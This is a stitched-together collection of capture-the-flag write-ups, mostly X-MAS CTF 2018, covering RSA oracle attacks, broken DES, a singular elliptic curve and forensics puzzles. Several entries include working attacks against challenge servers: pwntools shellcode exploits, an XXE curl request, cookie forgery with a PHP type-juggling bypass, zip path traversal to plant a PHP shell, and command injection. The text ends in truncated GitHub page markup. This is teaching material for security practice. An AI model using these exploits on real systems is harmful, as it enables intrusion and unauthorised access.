# Our Christmas wishlist (Web) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) (P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy)) ![alt text](0.png "Chall") This is a simple message board where you can submit your requests for christmas to the santa. ![alt text](1.png "Chall") Looking at the source code of the page we find a interesting function "lol". ![alt text](2.png "Chall") Right here I saw they were using XML which means we can probably do a XXE attack. OWASP has a great guide on XXE: ![alt text](3.png "Owasp XXE") Final exploit looks like this:```XML ]> <message>&xx;;</message>```And send the requests to the server with:```bashcurl -X POST -H "Content-Type: application/xml" -d @payload.xml http://95.179.163.167:12001/``` And we get the flag```Your wish: X-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}```
# Message from Santa (Forensics) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) (P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy)) ![alt text](1.png "Chall") We are given a .img file. Let's see what it is by running `file` ```$ file classified_gift_distribution_schema.imgclassified_gift_distribution_schema.img: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, reserved sectors 4, root entries 512, sectors 20480 (volumes <=32 MB), Media descriptor 0xf8, sectors/FAT 20, sectors/track 62, heads 63, hidden sectors 2048, serial number 0x75b1a735, label: "usb ", FAT (16 bit)``` It's seems like it's FAT16. We can mount the iso with: `$ sudo mount -t vfat classified_gift_distribution_schema.img /mnt/usb` Browsing the files at /mnt/usb we find a innocent looking snowman called "grep.jpeg". Browsing the hidden files with `ls -la` we find a hidden folder called `.Trash-0`.Inside the folder are small images creating a puzzle of the flag. Opening all the images in photoshop using the `Place` command to import all images as new layers. ![alt text](layers.png "Chall") Then it's just a puzzle we need to solve. Using [CTRL] you can easily move images around. After some time, this is the final image. ![alt text](layers_fixed.png "Chall") (The reindeer should be on the right of santa :p Got the flag anyways) Flag is `X-MAS{1t_l00k5_l1k3_s4nta_m4de_4_m1stak3_sorry}`
# __X-MAS CTF 2018__## _Santa's list_ ## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 286 | MiKHalyCH **Description:** > Santa's database got corrupted and now he doesn't know who was nice anymore... Can you help him find out if Galf was nice?>>Server: nc 199.247.6.180 16001>>[santas_list.zip](src/santas_list.zip) >>Author: SoulTaku ## SolutionEvery connection creates new `rsa = RSA.generate(1024)`. `N` is 1024 bits length (that is unknown), `e = 0x10001`. We can encrypt everything. But our message would be added to `used` list (that contains flag from start). Also we can decrypt everything, which result isn't devisible by elements of `used`. So we can't decrypt `flag` as it is. Let's define `ct = E(flag) = (flag ** e) % N`. And we need to undestand some RSA properties:```pyD(ct**k) == (ct**k)**d % N == (ct**d)**k % N == (ct**d % N)**k % N == ((flag**e)**d % N)**k % N == (flag**(e**d) % N)**k % N == (flag % N)**k % N == flag**k % N``` ```pyD(ct*(i**e)) == ct*(i**e)**d % N == (flag**e)*(i**e)**d % N == ((flag*i)**e)**d % N == (flag*i)*(e**d) % N == flag*i % N``` Firstly we need to find `N`. I notice that `flag**2 < N < flag**3`. It was the good idea to calculate `N`: ```pywhile True: <create new session> m1 = D(ct**3) m2 = D(ct**3 * 2**e) if 2*m1 != m2: N = 2*m1 - m2 break```How it works?```py(2*m1 != m2) % N => 2*m1 = m2 + N => N = 2*m1 - m2``` Now we can encrypt messages by client side. How to find the flag? From fact that we can decrypt, I thought about Oracle Attack and found an interesting question about [RSA Least Significant Bit Padding Oracle](https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack) on crypto.stackexchange.com. Let's define bounds at the start of algorithm:```pyLowerBound = 0UpperBound = N```In this attack we are trying to bring closer the bounds to our secret message. At the first try we will send to decrypt `ct*(2**e)` and recieve `m' = m*2 % N -> m*2 = m' + k*N`. * If `m'` is even, then `m*2 < N`. We need to reduce `UB`.* If `m'` is odd, then `m*2 > N`. We need to increase `LB`. We need to do this `log_2(N)` times increasing the multiplier twice each step. To reduce the final bounds' size of `flag`, I've used `flag**2` and `iroot` then. This is my interpretation of RSA LSB PO:```pyl = log_2(N)LB, UB = 0, N for i in range(1, l): ct = (pow(ct, 2) * pow(2, i*e, N)) % N m = D(ct) if m is None or not (m % 2): UB = (UB + LB)//2 else: LB = (UB + LB)//2 flag = iroot(UB, 2)``` My final solution is [here](solver.py)! And it works well! ___________## _Santa's list 2.0_ ## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 328 | MiKHalyCH, a1exdandy **Description:** >Santa's MechaGnomes caught up to some intense traffic on their servers so they decided to modify santa's database server to be DDoS-proof but it still is corrupted, find out if Galf was nice or not but try not to DDoS the server.>>Server: nc 199.247.6.180 16002 >>[list_2.py](src/list_2.py)>>Author: SoulTaku ## SolutionThis task looks same, but we can encrypt/decrypt just 5 times per one connection. We know that we can calculate `N` just in 2 requests. 3 left for flag RSA LSB PO. But this attack works only if we use same `N`. This time we need to create new solution! My idea was simple. If we can find `k`: `flag**(k-1) < N` and `flag**k > N` then we can calculate `flag`:```pyflag * 2**k % N = m' % Nflag * 2**k = m' + Nflag = (m' + N) // 2**k``` To find `k` faster we can use `flag**2` and then take square root of it. Here is my [solution](solver_2.py) for second task. ## P.S._SoulTaku_ said that there is solution that uses only 2 requests to server. And _a1exdandy_ found an intersting [idea](solver_2_fast.py) for it. Firstly he collects 2 pairs of `(flag**3, N)`:```pyns = []m3s = [] while len(ns) < 2: <create new session> m1 = D(ct**3) m2 = D(ct**3 * 2**e) if 2*m1 != m2: N = 2*m1 - m2 ns.append(N) m3s.append(m1)``` At the second step he uses [Chinese remainder theorem](https://en.wikipedia.org/wiki/Chinese_remainder_theorem) to the real value of `flag**3` without modulus.
# Super Secure Siberian Vault (Web) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) (P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy)) ![alt text](1.png "Chall") This is another file upload challenge where we can upload files. ![alt text](2.png "Chall") * There are no limits on the extension. Any extension is OK.* PHP execution is turned off in the folder* .htaccess files are also disabled Hmmm if we can't upload a php file, we can't get shell. Simple as that. Playing around with it, I noticed in the challenge description that you can upload zip files. ![alt text](3.png "Chall") Cool it extracted the files. This is unusual behavior. How can we exploit this? Create a `shell.php` with a backdoor system command in it. The file also has to be 2000 bytes or else the upload refused to unzip the file. We pad with random numbers to get the exact filesize. According to @serega6531, it's possible to have a filesize less than 2000 bytes. ``` 12341234123012304230412043012034012302341234213412341234123423423232344123412312311123123213121231232312132312123131231231231231231321231231231231231231231231231231231231232131212312323121323121231312312312312312313212312312312312312312312312312312312312321312123123231213231212313123123123123123132123123123123123123123123123123123123111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111122222222222222222222222222222222222333333333333333333333333333111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111122222222222222222222222222222222222333333333333333333333333333111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111122222222222222222222222222222222222333333333333333333333333333111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111122222222222222222222222222222222222333333333333333333333333333111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111122222222222222222222222222222222222333333333333333333333333333111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111122222222222222222222222222222222222333333333333333333333333333111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111122222222222222222222222222222222222333333333333333333333333333111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111122222222222222222222222222222222222333333333333333333333333333111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111122222222222222222222222222222222222333333333333333333333333333``` What if we upload a relative file. * `$ zip payload.zip ../shell2.php` We can now access the file at /uploads/shell.php instead of /uploads/random_hash/shell.php. The file still only downloads which means the server never executes the php code, just sends the file back to the user. I tried to upload a file to the root directory: * `$ zip payload.zip ../../shell2.php` And got an error message. We probably do not have permission to write there. Hmm back to the drawing board. I also tried to upload symbolic links, but that didn't work either.```bash$ ln -s ../../flag.txt test.txt$ zip --symlinks symbolic.zip test.txt``` The output was just `../../flag.txt`. Back to the first plan. Looking back at the source I noticed the images are placed inside the img folder. ![alt text](4.png "Chall") Maybe we can write to that directory. ![alt text](5.png "Chall") Exploit script available here: [win.sh](win.sh)
```python#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *from sys import argv if argv[1] == 'r': r = remote('178.62.249.106', '8642')elif argv[1] == 'l': r = remote('localhost', 6000)else: r = process('./mrs._hudson') context(os='linux', arch='amd64', log_level='info') scanf = 0x40066f # scanf("%s", $rbp-0x70)fake_stack = 0x601040 + 0x70 # bss + 0x70 payload = b"A" * 112payload += p64(fake_stack) # rbppayload += p64(scanf) # ret addr r.sendlineafter("2000.\n", payload)payload = asm(shellcraft.sh()).ljust(0x70 + 8, b'A')payload += p64(fake_stack - 0x70) # ret2shellcoder.sendline(payload)r.interactive()```
# Santa's Helper Mechagnome (Web) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) (P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy)) ![alt text](1.png "Chall") This was a interesting challenge. In the XMAS-2018 discord server there was a Discord bot by the name "Mechagnome#9926". We are told we should get the restart codes to get the flag. Typing help we get a list of commands we can use to talk to the bot.![alt text](2.png "Chall") Playing around with the commands I concluded there are a few commands that we can't exploit due to the fact they take no user input. * help* joke* list We can also exclude the `restart` command for now as we do not have the restart codes yet. This leaves us with the following two commands that we might be able to exploit. * add <x> <y>* sendletter <to> <message> Playing around with the add command, it seem to handle very big numbers. Does not seem to be any overflows or weird things. Only accept numbers which leaves us with the last command, `sendletter`. I often use OWASP as my resource when exploiting web applications. Looking at the command injection and manually trying each. We find that the second parameter `message` is vulnerable to a command injection. ![alt text](3.png "Chall") ![alt text](4.png "Chall") Now when we acquired the restart codes we get the flag by issuing the `restart` command with the codes. ![alt text](5.png "Chall") And the flag: ![alt text](6.png "Chall") Cool challenge! Thanks @milkdrop
Full writeup: [https://github.com/happysox/CTF_Writeups/tree/master/XMAS_CTF_2018/friedrich](https://github.com/happysox/CTF_Writeups/tree/master/XMAS_CTF_2018/friedrich) ### Summary * XOR the first 200 bytes with 13 to repair the original elf* Patch the anti-debug instructions* Dynamic analysis* Solve linear equation `Ax=b` where * A is a 36*36 matrix containing scalars found in the runtime memory * b is a vector with 36 sums found the same way * x is the flag
[](ctf=tu-ctf-2018)[](type=pwn)[](tags=buffer-overflow)[](tools=radare2,gdb-peda,pwntools,python) # Shella Easy We are given a [binary](../shella-easy) without any exploit mitigations. ```bashvagrant@amy:~/share/shella_easy$ file shella-easyshella-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38de2077277362023aadd2209673b21577463b66, not stripped``` ```bashgdb-peda$ checksecCANARY : disabledFORTIFY : disabledNX : disabledPIE : disabledRELRO : Partial``` The program has a call to `gets` and thus is a vanilla stack based buffer overflow. Exploitation allows us to get the flag from the server. ```pythonfrom pwn import * context(arch='i386', os='linux')# p = process('./shella')p = remote('52.15.182.55', 12345) p.recvuntil("Yeah I'll have a ")leak = p.recvuntil(' ').strip()leak = int(leak, 16) shellcode = asm(shellcraft.i386.sh())shellcode = shellcode.ljust(64, '\x90')shellcode += p32(0xdeadbeef)shellcode += 'a' * 8shellcode += p32(leak)p.send(shellcode)p.interactive()``` Flag> TUCTF{1_607_4_fl46_bu7_n0_fr135}
You arrive at a webpage. You click on `Page 1`, `Page 2`, and `Page 3`, but all you get arerandom sequences of numbers. 1. Run [brute.py](https://github.com/lobcus/Cyber-Challenges/tree/master/XMas-CTF%202018/Santa's%20Lucky%20Number) First, I noticed that `/?page=1` gets appended to the URL when clicking on `Page 1`, and `/?page=2` gets appended to the URL when clicking on `Page 2`. So, brute.py scrapes URLs withhigher page numbers until it finds something on the webpage resembling `X-MAS`.
A writeup of EL0, EL1, EL2 exploitation. Involves ROP, kernel exploitation, page table rewriting, and more: https://hernan.de/blog/2018/10/30/super-hexagon-a-journey-from-el0-to-s-el3/
# Reindeers and cookies (Web) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) (P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy)) ![alt text](1.png "Chall") This is the challenge page. Both the title of the challenge and content of the challenge has cookies. Nice! ![alt text](2.png "Chall") Let's look at the cookies: ```bashcurl --head http://199.247.6.180:12008/HTTP/1.1 200 OKServer: nginxDate: Fri, 21 Dec 2018 14:38:47 GMTContent-Type: text/html; charset=UTF-8Connection: keep-aliveX-Powered-By: PHP/7.2.10Set-Cookie: adminpass=MyLittleCookie%21Set-Cookie: cookiez=WlhsS2NGcERTVFpKYWtscFRFTktNR1ZZUW14SmFtOXBXak5XYkdNelVXbG1VVDA5X-XSS-Protection: 1; mode=block``` We have 2 cookies. `adminpass` and `cookiez`. The cookiez string looks like base64. Decoding it:```bashecho -n "WlhsS2NGcERTVFpKYWtscFRFTktNR1ZZUW14SmFtOXBXak5XYkdNelVXbG1VVDA5" | base64 -dZXlKcFpDSTZJaklpTENKMGVYQmxJam9pWjNWbGMzUWlmUT09```We get another string that also looks like base64. Decoding it two more times. ```bashecho -n "WlhsS2NGcERTVFpKYWtscFRFTktNR1ZZUW14SmFtOXBXak5XYkdNelVXbG1VVDA5" | base64 -d | base64 -d | base64 -d{"id":"2","type":"guest"}```Cool we have something that looks like json. ### Privilege escalation Our goal is to:* Elevate privileges by changing guest->admin.* base64 encode the json string 3 times* Send the modified cookie to the server ```bashCOOKIE=`echo -n '{"id":"1","type":"admin"}' | base64 -w 0 | base64 -w 0| base64 -w 0` curl --cookie "cookiez=$COOKIE;adminpass=MyLittleCookie%21" http://199.247.6.180:12008/ 2>/dev/null``` `<h1 asdasd class='wrong'>You got the admin password wrong :c</h1</h1>` Weird... Hmm maybe the adminpass is wrong. Before we try a wordlist, let's see if we can bypass the authentication check. In PHP arrays are symbolized as []. We can specify the adminpass to by of type array with []. ```#!/bin/bash COOKIE=`echo -n '{"id":"1","type":"admin"}' | base64 -w 0 | base64 -w 0| base64 -w 0` curl --cookie "cookiez=$COOKIE;adminpass[]=" http://199.247.6.180:12008/ 2>/dev/null | grep "X-MAS"```Which gets us the flag:```<h1 Array class='right'>Good job! Here's your flag:X-MAS{S4n74_L0v35__C00kiesss_And_Juggl1ng!}</h1</h1>``` For those who don't know what type juggling is. Check out this [owasp article](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
# Music.png 300 ## Description ```Name that tune Author: 1cysw0rdk0 and oneNutW0nder```This challenge was updated during the ctf. I solved the initial one featuring music.txt. Later on it was changed to music.png. ## Solution Upon opening music.txt I found this: ```(t<<3)*[8/9,1,9/8,6/5,4/3,3/2,0][[0xd2d2c7,0xce4087,0xca32c7,0x8e4008][t>>14&3.1]>>(0x3dbe4687>>((t>>10&15)>9?18:t>>10&15)*3&7.1)*3&7.1] Wrap your answer in RS{}``` When searching only for the first line "(t<<3)*[8/9,1,9/8,6/5,4/3,3/2,0]" I found https://gist.github.com/djcsdy/2875542.It describes that the code is so called "Music SoftSynth", so I searched for an interpreter. I found this one: http://wry.me/bytebeat/ When entering the code it played "Never Gonna Give You Up - Rick Astley". Flag: RITSEC{never_gonna_give_you_up}
## Solution For these kinds of problems, where the implementation is given, it is important to know what the proper implementation of the algorithm is so that when you spot differences in the implementation, then you can deduce what kind of vulnerabilities are introduced. In this case, it claims to be `des` and is probably derived a python implementation of des, [pydes](https://github.com/RobinDavid/pydes/blob/master/pydes.py) Here there are two main differences.* Expansion * S-boxes With this we can conclude that the modified DES is linear. Since the modified DES is linear, then you can think of it as just a big equation of `XORs`. That means __flipping 1 bit of ciphertext, predictably flips some subset of bits for any ciphertext__. ```pythonxr = decrypt(m)^decrypt(m^b)``` Given `b`, then `xr` is constant. We just choose `b` such that it flips at least half of `m`, as required by the problem. __For the full solution see the url__
# Santa's lucky number (Web) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) (P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy)) ![alt text](1.png "Chall") This is the website. ![alt text](2.png "Chall") Clicking on one of the buttons give us a random string. ![alt text](3.png "Chall") Decoding it as hex/base64 did not do much. Just garbage. The challenge states that santa hides his secret on his lucky number. * A book can only have positive pages Let's bruteforce this and print all weird strings. [solve.py](solve.py) Writing the output to a file and grepping for the flag. ```bash$ cat output | grep -i x-mas1327 - X-MAS{W00pS_S0m30n3_73l1_S4n7a_h1s_c00k1eS_Ar3_BuRn1ng}``` We find the flag on page 1327.
1. `hexedit 'Merry Christmas'.jpg`2. `/ 4d4153`, or alternatively `ctrl-T / X-MAS` Step 2 searches image for flag format Part of the flag is a short distance away from the rest of it.
# Santa's List Logging into the server, we see the following prompt: Ho, ho, ho and welcome back! Your list for this year: Sarah - Nice Bob - Nice Eve - Naughty Galf - 25898466163a90f42702135d867da28e83bdfb8e65cd8e63b2a55912dcfc7cf27dc90ea3b7704e322c71a0ca94dbb082c4ed60d8f047cd97799b199371dff074f7cfb65fe720a091d89b0a517e42f2698d069a7187f5eb5b852078ca88ba1a0f1c7fa66435df4eeadce529799e95e258ad45813c778633c3d1f9f3375f8097d8 Alice - Nice Johnny - Naughty [1] Encrypt [2] Decrypt [3] Exit Exploring the options, we have the ability to: 1. Encrypt an arbitrary string. This gives us a large integer.2. Decrypt an integer. This also gives us a large integer.3. Exit. Not very interesting. Clearly, "Galf" has an interesting Naughty/Nice value. It appears to be a hex encoded value. Unfortunately it does not decode to a string, and it unpacks to a very large integer. Decrypting this integer gives the result `Ho, ho ho, no...`. Note that opening the server again will give Galf a different value. Along with the nc server, we were given `santas_list.zip`. This archive contains one file, `list.py`. Reading this file, it is clearly the same one running on the server. `list.py` basically: * Generates a random RSA key* Opens the file `flag.txt`, encrypts it, converts it to hex, and displays it in the opening message* Listens for user input * When encrypting, it simply converts the text to hex, converts that to a long, and encrypts it. However, it also adds the numberical plaintext to the list `used`. * When decrypting, it first checks that the value isn't the encrypted flag (which is why we were unable to decrypt it previously). After decrypting, it also checks that `message % previous != 0` for every previous in the list `used`. This will be important later. So we have access to an encrypted flag (C = M<sup>e</sup> (mod N)), an RSA encrypt function (X<sup>e</sup> (mod N)), and an RSA decrypt function that doesn't allow us to decrypt `C` directly. There is an attack called [Blinding](https://en.wikipedia.org/wiki/Blinding_(cryptography)) iwhich allows us to modify the ciphertext, decrypt that modified value, then un-modify it. Basically, we need an arbitrary message `S` which we will encrypt (S<sup>e</sup> (mod N)), then multiply it by the ciphertext (CS<sup>e</sup> = M<sup>e</sup>S<sup>e</sup> = MS<sup>e</sup> (mod N)), decrypt that ((MS<sup>e</sup>)<sup>d</sup> ≅ MS (mod N)), then divide by `S` to get the original `M`. Note that we can't necessarily use normal integer division because of modular arithmetic. Instead, we must calculate the modular inverse of `S (mod N)` and multiply by that. However, the modulo check in the decrypt step blocks this plan. If we encrypt `S` using the Encrypt function, it will be recorded in `used`. When we try to multiply the ciphertext by the encrypted `S` and decrypt that, it will notice that the result is divisible by `S` and block our decryption attempt. We need a way to avoid this check. If we can find a way to encrypt `S` without using the Encrypt function, we will be able to use Decrypt. The RSA encrypt function is simply M<sup>e</sup> (mod N). By running `list.py` and adding some debug statements, we can determine that `e` is 65537, a very common value. Unfortunately, it appears that N is randomized every time `list.py` is run, so we will have to find a way to determine it using only what we can get out of the prompt. Let's do some number theory: RSA encryption: x<sup>e</sup> ≅ C<sub>x</sub> (mod N) x<sup>e</sup> = C<sub>x</sub> + kN (for some value of k) x<sup>e</sup> - C<sub>x</sub> = kN y<sup>e</sup> - C<sub>y</sub> = jN (same equation, but different value for x) Note that the Greatest Common Denominator (GCD) of kN and jN is N. For reasonably small values of `x` and `y`, we can use [Euclid's Algorithm](https://en.wikipedia.org/wiki/Greatest_common_divisor#Using_Euclid's_algorithm) to determine N in a reasonable amount of time. Practically speaking, the smallest values of `x` and `y` I could easily find were 33 and 35, which correspond to characters '!' and '#'. We can Encrypt these strings using the prompt, then calculate `N` using the following code: cx = Encrypt('!') # 33 cy = Encrypt('#') # 35 kn = (33 ** 65537) - cx jn = (35 ** 65537) - cy N = gcd(kn, jn) Now that we know `N`, we can encrypt anything we want without using the server. We will now pick an arbitrary `S` (I used `N/2`), then use the above blinding attack to decrypt the encrypted ciphertext. See https://github.com/dchiquit/xmasctf-2018/blob/master/santaslist/santaslist_solve.py for my solution.
## Solution Initially I thought this was related to the [bismuth project](https://github.com/hclivess/Bismuth), and that the secret is related to ECC, however this was a rabbit hole and a complete waste of time. Eventually, my teammate said this might be related to _Bloom-Asmuth secret sharing_. With that, the solution is fairly straightforward. We just had to implement the algorithm described in the [wikipedia page](https://en.wikipedia.org/wiki/Secret_sharing_using_the_Chinese_remainder_theorem#Asmuth-Bloom's_threshold_secret_sharing_scheme). ```python#sagemathfrom Crypto.Util.number import * m0 = 581090821296317933693586537610831214024106768710093022974488362042825786477677095350272592362056161640241973209079990997920846540763147917348498786721 ms = [ (2433540313092365358498910942615091739287190301494338351018258678488932416718555674164347001675072449071289374832316621249466217351144971694400277452989036L, 10379490429112932725800525476020867148375792941644900618767976870525310215947891346374096900780789001714921833829498506828021591411760530235331835919286003L),... ] secrets = zip(*ms)flag = CRT(list(secrets[0]), list(secrets[1]))%m0 print(long_to_bytes(flag))```
## Solution Since there are at most 50 requests, it is a reasonable assumption that the degree of the polynomial is at most 49. But to illustrate the solution, let us say we only have a quadratic polynomial ```f(x) = a + bx + cx^2``` The if we evaluate `f(x1)` we get, ```f(x1) = a + b*(x1) + c*(x1^2)``` We can evaluate `f(.)` several times to get a system of linear equations, and solve for the coefficients. ```f(0) = 2f(1) = 39f(2) = 99```then ```2 = a + 0b + 0c39 = a + 39b + 1521c99 = a + 99b + 9802c``` This can be solved this using gaussian elimination, and we extend this to polynomial degree 49, and the coefficients of the polynomial represent the flag __For full implementation see the url__
## Solution Similar to our solution in _A White Rabbit_, for these kinds of problems, where the implementation is given, it is important to know what the proper implementation of the algorithm is so that when you spot differences in the implementation, then you can deduce what kind of vulnerabilities are introduced. In this case, it claims to be `des` and is probably derived a python implementation of des, [pydes](https://github.com/RobinDavid/pydes/blob/master/pydes.py) Here there are two main differences.* Expansion* No in-round permutation Removing the permutation _and_ modification of the expansion practically removes almost all diffusion in the DES. Therefore, modifying a bit, would only modify 8 bits. This allows us to brute force for the flag. __For full implementation see the url__
# Curve12833227 (crypto, 150+37p, 12 solved) In the challenge we get [code](vuln.py) and the [result](flag.enc). What the code does is encrypt the flag using AES and the AES key is encrypted via a custom elliptic curve using generator point `(4,10)`.We don't get the curve equation, only the addition and multiplication functions, but we can easily derive the curve parameters from that. It's very simple to do from the point doubling part: ```pythonif u == w: m = (3*u*w + 4*u + 1) * i(v+x)``` Of course since `u==w` then `3*u*w + 4*u + 1 = 3u^2 + 4u + 1`.Doubling a point on an elliptic curve requires calculating a tangent to the curve in this point, which means calculating a first derivative. Since `3x^2 + 4x + 1` is the derivative we can easily integrate it to get `x^3 + 2x^2 + x +C` as the curve equation. So we know that `y^2 = x^3 + 2x^2 + x + C`. We also know that point `(4,10)` is on the curve, so we can apply this point to the curve to calculate `C = 100 - (64 + 2*16 + 4) = 0`. So finally the curve is `y^2 = x^3 + 2x^2 + x = x(x^2+2x+1) = x(x+1)^2` The issue now is that this curve has a singularity in `(-1,0)`.We follow the approach similar to: https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp And we get the solution code: ```pythonp = 2^128 - 33227P.<x> = GF(p)[]f = x^3 + 2*x^2 + xP = (4, 10)Q = (104708042197107879674895393611622483404, 276453155315387771858614408885950682409) f_ = f.subs(x=x-1)print f_.factor() # 340282366920938463463374607431768178228 P_ = (P[0] +1, P[1])Q_ = (Q[0] +1, Q[1]) t = GF(p)(340282366920938463463374607431768178228).square_root()u = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % pv = (Q_[1] + t*Q_[0])/(Q_[1] - t*Q_[0]) % p print v.log(u)``` Which after a while gives us the discrete logarithm of `35996229751200732572713356533972460509`. With this we can decrypt the flag: ```pythonk = 35996229751200732572713356533972460509aes = AES.new(long_to_bytes(k).ljust(16, '\0'), AES.MODE_CBC, '\0'*16)flag = "202bb05919b6f021d22a8baa7979ef6810761eb4c653b0fc5eebf2bc6ac6ecb052f887eedd075174abd884f84547df2d".decode("hex")print(len(flag))plaintext = aes.decrypt(flag)print(plaintext)``` And we get: `hxp{51n9uL4r1ti3s_r3duC3_tH3_G3nUs}`
1. Put your attack in contract's constructor to spam for airDrop.2. Create a contract with address end with 0x43 to get the flag. We did not solve the challenge in time, but I've done it. The writeup is in Vietnamese. I will try to write in English next time.
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 